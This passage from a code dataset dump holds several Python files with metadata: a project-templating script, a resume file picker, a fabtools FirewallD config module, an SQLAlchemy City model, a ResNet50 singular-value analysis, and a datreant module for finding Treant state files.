shutil.copy2('templates/CMakeLists.txt.root', 'repo/CMakeLists.txt')\n shutil.copy2('templates/CMakeLists.txt.src',\n 'repo/'+ self.project['src_folder'] + '/CMakeLists.txt')\n\n root_folders = [\n 'lib',\n 'Qt',\n 'dist',\n 'linux',\n ]\n\n os.chdir('repo')\n sp.call(['rm', '-rf'] + root_folders)\n os.chdir('..')\n # print(os.listdir())\n\n for folder in root_folders:\n shutil.copytree('templates/'+ folder, 'repo/' + folder)\n\n def find_source(self):\n os.chdir('repo/' + self.project['src_folder'])\n\n tmp_files = os.walk('.')\n src_files = ''\n for root, subfolders, files in tmp_files:\n root += '/' # Add a final slash\n root = root[2:] # Remove './' if it exists\n for f in files:\n if f.find('.c') > 0:\n src_files = src_files + root + f + ' '\n\n self.project['source_files'] = src_files\n os.chdir('../..')\n\n def replace_info(self):\n files = (\n 'repo/CMakeLists.txt',\n 'repo/' + self.project['src_folder'] + '/CMakeLists.txt',\n 'repo/dist/linux/config/config.xml',\n 'repo/dist/linux/packages/project_name/meta/launcher.qs',\n 'repo/dist/linux/packages/project_name/meta/package.xml',\n 'repo/linux/build.sh',\n 'repo/linux/create_installer.sh',\n 'repo/linux/project_name',\n 'repo/linux/run.sh',\n )\n\n for f in files:\n print('==============', f)\n self.replace(f)\n\n def replace(self, file_name):\n with open(file_name, 'r') as f:\n text = f.read()\n\n with open(file_name, 'w') as f:\n text = string.Template(text)\n f.write(text.safe_substitute(**self.project))\n\n\nif __name__ == '__main__':\n args = sys.argv\n if len(args) == 3:\n rep = Repository(url=args[1], branch=args[2])\n elif len(args) == 2:\n rep = Repository(url=args[1])\n else:\n raise TypeError('You must pass the repository url!!')\n rep.copy_files()\n rep.find_media()\n rep.find_source()\n rep.replace_info()\n rep.rename()\n rep.build()\n", "sub_path": "repository.py", "file_name": "repository.py", "file_ext": "py", "file_size_in_byte": 4320, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "datetime.date.today", "line_number": 15, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 15, "usage_type": "name"}, {"api_name": "subprocess.call", "line_number": 20, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 23, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 38, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 42, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 44, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 54, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 57, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 58, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 59, "usage_type": "call"}, {"api_name": "shutil.move", "line_number": 69, "usage_type": "call"}, {"api_name": "shutil.copy2", "line_number": 73, "usage_type": "call"}, {"api_name": "shutil.copy2", "line_number": 74, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 84, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 85, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 86, "usage_type": "call"}, {"api_name": "shutil.copytree", "line_number": 90, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 93, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 95, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 105, "usage_type": "call"}, {"api_name": "string.Template", "line_number": 129, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 134, "usage_type": "attribute"}]} {"seq_id": "569315167", "text": "import easygui\r\nimport time \r\n\r\n\r\ndef getResume():\r\n print(\"\\nSelect your resume in the pop-up dialog-box (may be hiding behind other open programs)\")\r\n time.sleep(1)\r\n resume = str('')\r\n try:\r\n resume = easygui.fileopenbox()\r\n print(resume)\r\n if resume == None:\r\n print('\\nError occured selecting your resume')\r\n resume = str(input('Please enter the absoulte pathname of your resume including the filename: '))\r\n resume = str(resume)\r\n except:\r\n print('\\n Error occured selecting your resume')\r\n resume = str(input('Please enter the absoulte pathname of your resume including the filename: '))\r\n return resume\r\n", "sub_path": "selecting_files.py", "file_name": "selecting_files.py", "file_ext": "py", "file_size_in_byte": 694, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "time.sleep", "line_number": 7, "usage_type": "call"}, {"api_name": "easygui.fileopenbox", "line_number": 10, "usage_type": "call"}]} {"seq_id": "83311416", "text": "\"\"\"\nFirewalld firewall\n==================\n\"\"\"\n\nfrom fabtools import firewalld\nfrom fabtools import network\nfrom fabric.api import puts\nfrom functools import partial\n\n\ndef service():\n from fabtools import require\n\n require.rpm.package('firewalld')\n require.service.started('firewalld')\n require.service.enabled('firewalld')\n\n\ndef basic_config(ports=None, sources=None, interfaces=None):\n \"\"\"\n The FirewallD implementation of `fabtools.require.firewall.basic_config`.\n Refer to `fabtools.require.firewall` for more documentation.\n\n \"\"\"\n from fabtools import require\n\n puts('Basic firewall configuration with FirewallD:')\n\n service()\n\n # if no interfaces, add discovered interfaces to the default zone.\n if interfaces is None:\n interfaces = {None: [i for i in network.interfaces() if i != 'lo']}\n\n if ports:\n if not isinstance(ports, dict):\n ports = {None: ports}\n port_config(ports)\n\n if sources:\n if not isinstance(sources, dict):\n sources = {None: sources}\n source_config(sources)\n\n if interfaces:\n if not isinstance(interfaces, dict):\n interfaces = {None: interfaces}\n interface_config(interfaces)\n\n require.service.restarted('firewalld')\n\n\nclass Config(object):\n \"\"\"\n A convenience class for manipulating the configuration options of FirewallD.\n Calling the config provides a requires-like syntax for associating values of\n `option_type` to zones. The config object also provides helpers for manually\n manipulating multiple values within a zone, or clearing a zone entirely.\n\n Example::\n\n from fabtools.require import firewalld\n port_config = firewalld.Config('port')\n\n # add port 80 to the default zone\n port_config.append(['80/tcp'])\n\n # clear the public zone\n port_config.clear(zone='public')\n\n # require that no port associations exist, except\n # 80 in the public zone.\n port_config({'public': {'80/tcp'}})\n\n\n The module already provides configuration options:\n *port_config*\n *source_config*\n *interface_config*\n\n Example::\n\n from fabtools import require\n require.firewalld.port_config({'public': {80, 443}})\n require.firewalld.source_config({'public': {80, 443}})\n\n \"\"\"\n\n def __init__(self, option_type):\n self.option_type = option_type\n\n def __call__(self, value_map):\n \"\"\"\n Require that a set of ports, interfaces (the configured option_type)\n be associated with a set of zones.\n\n *value_map* must be a map of zones to a set/iterable of the config\n option_type type.\n\n .. note:: a key value of ``None`` implies the default zone.\n \"\"\"\n # convert None to default zone\n if None in value_map:\n value_map[firewalld.get_default_zone()] = value_map[None]\n del value_map[None]\n\n self._validate_zones(value_map.keys())\n\n self.clear()\n for zone, values in value_map.items():\n self.append(values, zone)\n\n firewalld.reload()\n\n def _validate_zones(self, zones):\n \"\"\"\n Validate that the zones are configured within the current firewall.\n \"\"\"\n\n zones = set(zones)\n defined_zones = set(firewalld.list_zones())\n\n if not zones.issubset(defined_zones):\n raise ValueError(\"'%s' are invalid zones. Available zones are '%s'.\" % (\n ', '.join(zones.difference(defined_zones)),\n ', '.join(defined_zones),\n ))\n\n def append(self, values, zone=None):\n # try specific option functions, fallback on general add command\n if hasattr(firewalld, 'add_%s' % self.option_type):\n f = getattr(firewalld, 'add_%s' % self.option_type)\n else:\n f = partial(firewalld.add, self.option_type)\n\n for value in values:\n f(value, zone=zone)\n\n def remove(self, values, zone=None):\n # try specific option functions, fallback on general remove command\n if hasattr(firewalld, 'remove_%s' % self.option_type):\n f = getattr(firewalld, 'remove_%s' % self.option_type)\n else:\n f = partial(firewalld.remove, self.option_type)\n\n for value in values:\n f(value, zone=zone)\n\n def list(self, zone=None):\n # try specific option functions, fallback on general list command\n if hasattr(firewalld, 'list_%ss' % self.option_type):\n f = getattr(firewalld, 'list_%ss' % self.option_type)\n else:\n f = partial(firewalld.list, self.option_type)\n\n return f(zone=zone)\n\n def clear(self):\n for zone in firewalld.list_zones():\n self.remove(self.list(zone), zone)\n\n\nport_config = Config('port')\nsource_config = Config('source')\ninterface_config = Config('interface')\n", "sub_path": "fabtools/require/firewalld.py", "file_name": "firewalld.py", "file_ext": "py", "file_size_in_byte": 4888, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "fabtools.require.rpm.package", "line_number": 15, "usage_type": "call"}, {"api_name": "fabtools.require.rpm", "line_number": 15, "usage_type": "attribute"}, {"api_name": "fabtools.require", "line_number": 15, "usage_type": "name"}, {"api_name": "fabtools.require.service.started", "line_number": 16, "usage_type": "call"}, {"api_name": "fabtools.require.service", "line_number": 16, "usage_type": "attribute"}, {"api_name": "fabtools.require", "line_number": 16, "usage_type": "name"}, {"api_name": "fabtools.require.service.enabled", "line_number": 17, "usage_type": "call"}, {"api_name": "fabtools.require.service", "line_number": 17, "usage_type": "attribute"}, {"api_name": "fabtools.require", "line_number": 17, "usage_type": "name"}, {"api_name": "fabric.api.puts", "line_number": 28, "usage_type": "call"}, {"api_name": "fabtools.network.interfaces", "line_number": 34, "usage_type": "call"}, {"api_name": "fabtools.network", "line_number": 34, "usage_type": "name"}, {"api_name": "fabtools.require.service.restarted", "line_number": 51, "usage_type": "call"}, {"api_name": "fabtools.require.service", "line_number": 51, "usage_type": "attribute"}, {"api_name": "fabtools.require", "line_number": 51, "usage_type": "name"}, {"api_name": "fabtools.firewalld.get_default_zone", "line_number": 105, "usage_type": "call"}, {"api_name": "fabtools.firewalld", "line_number": 105, "usage_type": "name"}, {"api_name": "fabtools.firewalld.reload", "line_number": 114, "usage_type": "call"}, {"api_name": "fabtools.firewalld", "line_number": 114, "usage_type": "name"}, {"api_name": "fabtools.firewalld.list_zones", "line_number": 122, "usage_type": "call"}, {"api_name": "fabtools.firewalld", "line_number": 122, "usage_type": "name"}, {"api_name": "fabtools.firewalld", "line_number": 132, "usage_type": "argument"}, {"api_name": "fabtools.firewalld", "line_number": 133, "usage_type": "argument"}, {"api_name": "functools.partial", "line_number": 135, "usage_type": "call"}, {"api_name": "fabtools.firewalld.add", "line_number": 135, "usage_type": "attribute"}, {"api_name": "fabtools.firewalld", "line_number": 135, "usage_type": "name"}, {"api_name": "fabtools.firewalld", "line_number": 142, "usage_type": "argument"}, {"api_name": "fabtools.firewalld", "line_number": 143, "usage_type": "argument"}, {"api_name": "functools.partial", "line_number": 145, "usage_type": "call"}, {"api_name": "fabtools.firewalld.remove", "line_number": 145, "usage_type": "attribute"}, {"api_name": "fabtools.firewalld", "line_number": 145, "usage_type": "name"}, {"api_name": "fabtools.firewalld", "line_number": 152, "usage_type": "argument"}, {"api_name": "fabtools.firewalld", "line_number": 153, "usage_type": "argument"}, {"api_name": "functools.partial", "line_number": 155, "usage_type": "call"}, {"api_name": "fabtools.firewalld.list", "line_number": 155, "usage_type": "attribute"}, {"api_name": "fabtools.firewalld", "line_number": 155, "usage_type": "name"}, {"api_name": "fabtools.firewalld.list_zones", "line_number": 160, "usage_type": "call"}, {"api_name": "fabtools.firewalld", "line_number": 160, "usage_type": "name"}]} {"seq_id": "165852827", "text": "#!/usr/bin/python3\n'''\n Implementation of the City class.\n'''\nimport os\nimport models\nfrom models.base_model import BaseModel, Base\nfrom sqlalchemy import Column, String, ForeignKey\nfrom sqlalchemy.orm import relationship\n\n\nclass City(BaseModel, Base):\n '''\n City Class.\n Inherits from BaseModel for methods.\n Inherits from Base for use with DB storage when needed.\n When the environment variable HBNB_TYPE_STORAGE is equal to db, the\n database method of storage will be used. The name of the table\n created in MySQL will be called cities.\n For Database Storage:\n cities Table columns:\n name: String, and can't be NULL\n state_id: String, can't be NULL and links to\n another table called states based off it's id.\n places relationship:\n Linked to the Place class.\n For File Storage:\n Attributes:\n name: String\n state_id: String\n Methods:\n places: Getter for places linked to the current City.\n '''\n if os.getenv('HBNB_TYPE_STORAGE') == 'db':\n __tablename__ = \"cities\"\n\n __mapper_args__ = {\n 'confirm_deleted_rows': False}\n\n name = Column(String(128), nullable=False)\n state_id = Column(String(60), ForeignKey('states.id'), nullable=False)\n places = relationship(\"Place\", backref=\"cities\",\n cascade=\"delete\")\n else:\n name = \"\"\n state_id = \"\"\n\n @property\n def places(self):\n '''\n Getter for places when using FileStorage system\n Returns:\n A list of Place objects associated with the current City\n '''\n cls_dict = models.storage.all(models.classes[\"Place\"])\n places_in_city = []\n current_city = self.id\n for key, value in cls_dict.items():\n if value.city_id == current_city:\n places_in_city.append(value)\n return places_in_city\n", "sub_path": "models/city.py", "file_name": "city.py", "file_ext": "py", "file_size_in_byte": 2043, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "models.base_model.BaseModel", "line_number": 12, "usage_type": "name"}, {"api_name": "models.base_model.Base", "line_number": 12, "usage_type": "name"}, {"api_name": "os.getenv", "line_number": 34, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 40, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 40, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 41, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 41, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKey", "line_number": 41, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.relationship", "line_number": 42, "usage_type": "call"}, {"api_name": "models.storage.all", "line_number": 55, "usage_type": "call"}, {"api_name": "models.storage", "line_number": 55, "usage_type": "attribute"}, {"api_name": "models.classes", "line_number": 55, "usage_type": "attribute"}]} {"seq_id": "439474411", "text": "import torchvision as tv\nimport numpy as np\nimport seaborn as sns\nfrom numpy.linalg import svd\nimport pickle\nimport pandas as pd\n\nNETWORK = 'resnet50'\n#Network dependent operations\nm = tv.models.resnet50(pretrained=True)\nprint(m)\n\nlayers = [m.layer1, m.layer2, m.layer3, m.layer4]\n\nlayers = [x[-1].conv2.weight.detach().numpy() for x in layers]\n\n\n#Network independent operations\ncouts = [x.shape[0] for x in layers]\nlayers = [x.reshape(x.shape[0], -1) for x in layers]\nprint([x.shape for x in layers])\n\nlayers = [np.linalg.svd(x) for x in layers]\n\nsingular_vals = [x[1] for x in layers]\n\nmaxs = [x.max() for x in singular_vals]\n\nxcoords = [np.arange(x)/x for x in couts]\n\nsingular_vals = [x/y for x,y in zip(singular_vals,maxs)]\nprint(singular_vals)\n\nax = None\nl = 1\nrows = []\nfor x,y in zip(xcoords, singular_vals):\n for (a,b) in zip(x,y):\n rows.append({'i/cout':a,'\\lam/\\lam_max':b,'stage':str(l)})\n l+=1\ndf = pd.DataFrame(rows)\nprint(df.head)\nax = sns.scatterplot(x='i/cout',y='\\lam/\\lam_max',legend='full',hue='stage', data=df)\ndf.to_csv('{}.csv'.format(NETWORK))\n# if ax is None:\n# ax = sns.scatterplot(x=x, y=y, legend='Full')\n# else:\n# ax = sns.scatterplot(x=x, y=y, ax=ax, legend='Full')\nax.get_figure().savefig('{}.pdf'.format(NETWORK))\npickle.dump( layers, open( \"{}_stats.p\".format(NETWORK), \"wb\" ) )\n", "sub_path": "resnet50.py", "file_name": "resnet50.py", "file_ext": "py", "file_size_in_byte": 1345, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "torchvision.models.resnet50", "line_number": 10, "usage_type": "call"}, {"api_name": "torchvision.models", "line_number": 10, "usage_type": "attribute"}, {"api_name": "numpy.linalg.svd", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 23, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 29, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 41, "usage_type": "call"}, {"api_name": "seaborn.scatterplot", "line_number": 43, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 50, "usage_type": "call"}]} {"seq_id": "521542417", "text": "\"\"\"\nFunctions and classes for finding Treants in the filesystem.\n\n\"\"\"\nimport os\nimport sys\nimport glob\nimport time\n\nimport scandir\n\nfrom datreant import persistence\nimport datreant\n\n\ndef statefilename(treanttype, uuid, ext):\n \"\"\"Return state file name given the type of treant and its uuid.\n\n \"\"\"\n return \"{}.{}{}\".format(treanttype, uuid, ext)\n\n\ndef glob_treant(treant):\n \"\"\"Given a Treant's directory, get its state file.\n\n Since state file names contain uuids, they vary. Multiple state files may\n therefore be present in a single directory. All will be returned as a list.\n\n :Arguments:\n *treant*\n directory containing a state file\n\n :Returns:\n *treantfile*\n list giving absolute paths of state files found\n in directory\n \"\"\"\n fileglob = list()\n for treanttype in datreant._treants:\n for backend in datreant._treants[treanttype]._backends:\n extension = datreant._treants[treanttype]._backends[backend][0]\n fileglob.extend(\n glob.glob(os.path.join(\n treant,\n '{}.*{}'.format(treanttype, extension))))\n\n paths = [os.path.abspath(x) for x in fileglob]\n return paths\n\n\n# TODO: need mechanism for derived packages to add their classes\n# INTEROPERABILITY\ndef path2treant(*paths):\n \"\"\"Return Treants from directories or full paths containing Treant\n state files.\n\n *Note*: If there are multiple state files in a given directory, Treants\n will be returned for each.\n\n :Arguments:\n *paths*\n directories containing state files or full paths to state files to\n load Treants from; if ``None`` is an element, then ``None``\n returned in output list\n\n :Returns:\n *treants*\n list of Treants obtained from directories; ``None`` as an\n element indicates that ``None`` was present in the list of paths\n\n \"\"\"\n treants = list()\n for path in paths:\n if path is None:\n treants.append(None)\n elif os.path.isdir(path):\n files = glob_treant(path)\n for item in files:\n basename = os.path.basename(item)\n for treanttype in datreant._treants:\n if treanttype in basename:\n treants.append(datreant._treants[treanttype](item))\n elif os.path.exists(path):\n basename = os.path.basename(path)\n for treanttype in datreant._treants:\n if treanttype in basename:\n treants.append(datreant._treants[treanttype](path))\n\n return treants\n\n\nclass Foxhound(object):\n \"\"\"Locator for Treants.\n\n This object is used by Treants to find Treants, even when they are no\n longer in their last known location.\n\n Groups and Bundles uses this class to find members that have moved. All\n TreantFiles use this class to find their file on disk when it moves.\n\n \"\"\"\n def __init__(self, caller, uuids, basedirs, coordinators=None, timeout=10):\n \"\"\"Generate a Foxhound to track down Treants.\n\n :Arguments:\n *caller*\n object that summoned the Foxhound; needed to make sense\n of some path types, as well as for automated context\n for conducting the search\n *uuids*\n list of unique identifiers of Treants to find\n *basedirs*\n dict of basedirs to start searching around; keys may be\n 'abspath' or 'relCont', and values should be lists of paths\n\n :Keywords:\n *coordinators*\n list of Coordinators to consult; if ``None``, involve no\n Coordinators\n *timeout*\n maximum time, in seconds, the Foxhound will spend fetching.\n\n \"\"\"\n self.caller = caller\n self.uuids = uuids\n self.basedirs = basedirs\n self.coordinators = coordinators\n\n self.timeout = timeout\n\n # once found: uuids as keys, absolute paths as values\n self.treants = dict()\n\n def fetch(self, as_treants=True):\n \"\"\"Find the Treants.\n\n :Keywords:\n *as_treants*\n if ``True``, return Treant instances instead of absolute\n paths to state files\n\n :Returns:\n *results*\n dictionary giving Treant uuids as keys and absolute paths to\n their state files as values; ``None`` as a value indicates\n that no state file could be found. Returns Treant instances\n instead of paths for *as_treants* == True.\n\n \"\"\"\n from datreant.aggregators import Members\n from datreant.collections import Bundle\n\n if isinstance(self.caller, Members):\n results = self._find_Group_members()\n elif isinstance(self.caller, Bundle):\n results = self._find_Bundle_members()\n\n if as_treants:\n conts = path2treant(*results.values())\n results = {x: y for x, y in zip(results.keys(), conts)}\n\n return results\n\n def _check_basedirs(self):\n \"\"\"Check last-known locations for Treants.\n\n :Returns:\n *results*\n dictionary giving Treant uuids as keys and absolute paths to\n their state files as values; ``None`` as a value indicates\n that no state file could be found.\n \"\"\"\n # initialize output dictionary with None\n outpaths = {x: y for x, y in zip(self.uuids, [None]*len(self.uuids))}\n\n uuids = [x for x in outpaths if not outpaths[x]]\n if 'abspath' in self.basedirs:\n for path in self.basedirs['abspath']:\n found = []\n for uuid in uuids:\n candidate = glob.glob(\n os.path.join(path, '*.{}.*'.format(uuid)))\n\n if candidate:\n outpaths[uuid] = os.path.abspath(candidate[0])\n found.append(uuid)\n\n for item in found:\n uuids.remove(item)\n\n if 'relCont' in self.basedirs:\n # get uuids for which paths haven't been found\n for path in self.basedirs['relCont']:\n found = []\n for uuid in uuids:\n candidate = glob.glob(\n os.path.join(\n self.caller._backend.get_location(),\n path, '*.{}.*'.format(uuid)))\n\n if candidate:\n outpaths[uuid] = os.path.abspath(candidate[0])\n found.append(uuid)\n\n for item in found:\n uuids.remove(item)\n\n return outpaths\n\n def _downward_search(self, path):\n \"\"\"Check for Treants downward from specified path.\n\n :Arguments:\n *path*\n path to begin downward search from\n\n \"\"\"\n pass\n\n def _outward_search(self, path):\n pass\n\n def _consult_Coordinators(self):\n pass\n\n def _find_TreantFile(self):\n \"\"\"Find Treant for a TreantFile.\n\n If a Treant's state file is moved by another process while a\n Treant instance exists, then the TreantFile instance must\n find its state file when it discovers it has gone missing. The\n Foxhound begins by searching downward from the Treant's previous\n location, with subsequent downward searches proceeding from the parent\n directory. This process continues until either the state file is found,\n the filesystem is exhaustively searched, or the Foxhound times out.\n\n \"\"\"\n pass\n\n def _find_Group_members(self):\n \"\"\"Find Treants that are members of a Group.\n\n For finding Group members, the Foxhound begins by looking for\n Treants among the paths it was given. Treants that can't be found\n are then searched for starting downward from the Group's location, with\n subsequent downward searches proceeding from the parent directory.\n This process continues until either all members are found, the\n filesystem is exhaustively searched, or the Foxhound times out.\n\n :Returns:\n *outpaths*\n dictionary giving Treant uuids as keys and absolute paths to\n their state files as values; ``None`` as a value indicates\n that no state file could be found.\n\n \"\"\"\n # search last-known locations\n outpaths = self._check_basedirs()\n\n # get current time\n currtime = time.time()\n\n # walk downwards on an upward path through filesystem from the Group's\n # basedir\n uuids = [x for x in outpaths if not outpaths[x]]\n path = self.caller._backend.get_location()\n prev = None\n timedout = False\n while prev != path and uuids and not timedout:\n\n top = True\n for root, dirs, files in scandir.walk(path):\n # if search runs over timeout, call it off\n if ((time.time() - currtime) > self.timeout):\n self.caller._logger.info(\n \"Search for missing members timed\" +\n \" out at {}\".format(self.timeout) +\n \" seconds.\")\n timedout = True\n break\n\n # if we've found everything, finish\n if not uuids:\n break\n\n found = []\n # no need to visit already-visited tree\n if top and prev:\n dirs.remove(os.path.basename(prev))\n top = False\n\n for uuid in uuids:\n candidate = [os.path.join(root, x)\n for x in files if (uuid in x and x[0] != '.')]\n\n if candidate:\n outpaths[uuid] = os.path.abspath(candidate[0])\n found.append(uuid)\n\n for item in found:\n uuids.remove(item)\n\n prev = path\n path = os.path.split(path)[0]\n\n # TODO: post-check? Since Groups know the treanttypes of their\n # members, should we compare these to what is in outpaths?\n\n return outpaths\n\n def _find_Bundle_members(self):\n \"\"\"Find Treants that are members of a Bundle.\n\n For finding Bundle members, the Foxhound begins by looking for\n Treants among the paths it was given. Treants that can't be found\n are then searched for starting downward from the current working\n directory with subsequent downward searches proceeding from the parent\n directory. This process continues until either all members are found,\n the filesystem is exhaustively searched, or the Foxhound times out.\n\n :Returns:\n *outpaths*\n dictionary giving Treant uuids as keys and absolute paths to\n their state files as values; ``None`` as a value indicates\n that no state file could be found.\n\n \"\"\"\n # search last-known locations\n outpaths = self._check_basedirs()\n\n # get current time\n currtime = time.time()\n\n # walk downwards on an upward trajectory through filesystem from the\n # current working directory\n uuids = [x for x in outpaths if not outpaths[x]]\n path = os.path.abspath(os.curdir)\n prev = None\n while prev != path and uuids:\n\n # if search runs over timeout, call it off\n if ((time.time() - currtime) > self.timeout):\n self.caller._logger.info(\"Search for missing members timed\" +\n \" out at {}\".format(self.timeout) +\n \" seconds.\")\n break\n\n top = True\n for root, dirs, files in scandir.walk(path):\n found = []\n # no need to visit already-visited tree\n if top and prev:\n dirs.remove(os.path.basename(prev))\n top = False\n\n for uuid in uuids:\n candidate = [os.path.join(root, x)\n for x in files if (uuid in x and x[0] != '.')]\n\n if candidate:\n outpaths[uuid] = os.path.abspath(candidate[0])\n found.append(uuid)\n\n for item in found:\n uuids.remove(item)\n\n prev = path\n path = os.path.split(path)[0]\n\n # TODO: post-check? Since Bundles know the treanttypes of their\n # members, should we compare these to what is in outpaths?\n\n return outpaths\n\n def _find_Coordinator_members(self):\n pass\n\n def discover(self, path):\n pass\n\n # OLD\n def _locate_database(self, **kwargs):\n \"\"\"Find database; to be used if it can't be found.\n\n The Treant looks upward from its location on the filesystem through\n the file heirarchy, looking for a Database file. The directory\n containing the first such file found will be returned. None is returned\n if no such files found.\n\n :Keywords:\n *startdir*\n directory from which to begin upward search; default is\n Treant basedir\n\n :Returns:\n *database*\n directory of located Database; if no Database found, is None\n\n \"\"\"\n startdir = kwargs.pop('startdir', None)\n\n if not startdir:\n startdir = self.metadata['basedir']\n\n # search upward for a database\n startdir = os.path.abspath(startdir)\n directory = startdir\n found = False\n\n self._logger.info(\n \"Beginning search for database from {}\".format(directory))\n\n while (directory != '/') and (not found):\n directory, tail = os.path.split(directory)\n candidates = glob.glob(os.path.join(directory, self._databasefile))\n\n if candidates:\n self._logger.info(\n \"Database candidate located: {}\".format(candidates[0]))\n basedir = os.path.dirname(candidates[0])\n db = Database.Database(basedir)\n found = db._handshake()\n\n if not found:\n self._logger.warning(\"No database found!\")\n basedir = None\n\n return basedir\n", "sub_path": "datreant/filesystem.py", "file_name": "filesystem.py", "file_ext": "py", "file_size_in_byte": 14583, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "datreant._treants", "line_number": 39, "usage_type": "attribute"}, {"api_name": "datreant._treants", "line_number": 40, "usage_type": "attribute"}, {"api_name": "datreant._treants", "line_number": 41, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path", "line_number": 76, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 79, "usage_type": "call"}, {"api_name": "os.path", "line_number": 79, "usage_type": "attribute"}, {"api_name": "datreant._treants", "line_number": 80, "usage_type": "attribute"}, {"api_name": "datreant._treants", "line_number": 82, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path", "line_number": 83, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path", "line_number": 84, "usage_type": "attribute"}, {"api_name": "datreant._treants", "line_number": 85, "usage_type": "attribute"}, {"api_name": "datreant._treants", "line_number": 87, "usage_type": "attribute"}, {"api_name": "datreant.aggregators.Members", "line_number": 153, "usage_type": "name"}, {"api_name": "datreant.collections.Bundle", "line_number": 155, "usage_type": "name"}, {"api_name": "glob.glob", "line_number": 181, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 182, "usage_type": "call"}, {"api_name": "os.path", "line_number": 182, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 185, "usage_type": "call"}, {"api_name": "os.path", "line_number": 185, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 196, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 197, "usage_type": "call"}, {"api_name": "os.path", "line_number": 197, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 202, "usage_type": "call"}, {"api_name": "os.path", "line_number": 202, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 261, "usage_type": "call"}, {"api_name": "scandir.walk", "line_number": 272, "usage_type": "call"}, {"api_name": "time.time", "line_number": 274, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 289, "usage_type": "call"}, {"api_name": "os.path", "line_number": 289, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 293, "usage_type": "call"}, {"api_name": "os.path", "line_number": 293, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 297, "usage_type": "call"}, {"api_name": "os.path", "line_number": 297, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 304, "usage_type": "call"}, {"api_name": "os.path", "line_number": 304, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 332, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 337, "usage_type": "call"}, {"api_name": "os.path", "line_number": 337, "usage_type": "attribute"}, {"api_name": "os.curdir", "line_number": 337, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 342, "usage_type": "call"}, {"api_name": "scandir.walk", "line_number": 349, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 353, "usage_type": "call"}, {"api_name": "os.path", "line_number": 353, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 357, "usage_type": "call"}, {"api_name": "os.path", "line_number": 357, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 361, "usage_type": "call"}, {"api_name": "os.path", "line_number": 361, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 368, "usage_type": "call"}, {"api_name": "os.path", "line_number": 368, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 406, "usage_type": "call"}, {"api_name": "os.path", "line_number": 406, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 414, "usage_type": "call"}, {"api_name": "os.path", "line_number": 414, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 415, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 415, "usage_type": "call"}, {"api_name": "os.path", "line_number": 415, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 420, "usage_type": "call"}, {"api_name": "os.path", "line_number": 420, "usage_type": "attribute"}]} {"seq_id": "551838406", "text": "import os\r\nfrom flask import Flask, render_template, request,Response, jsonify\r\nfrom flask_dropzone import Dropzone\r\nimport cv2\r\nimport base64\r\nimport 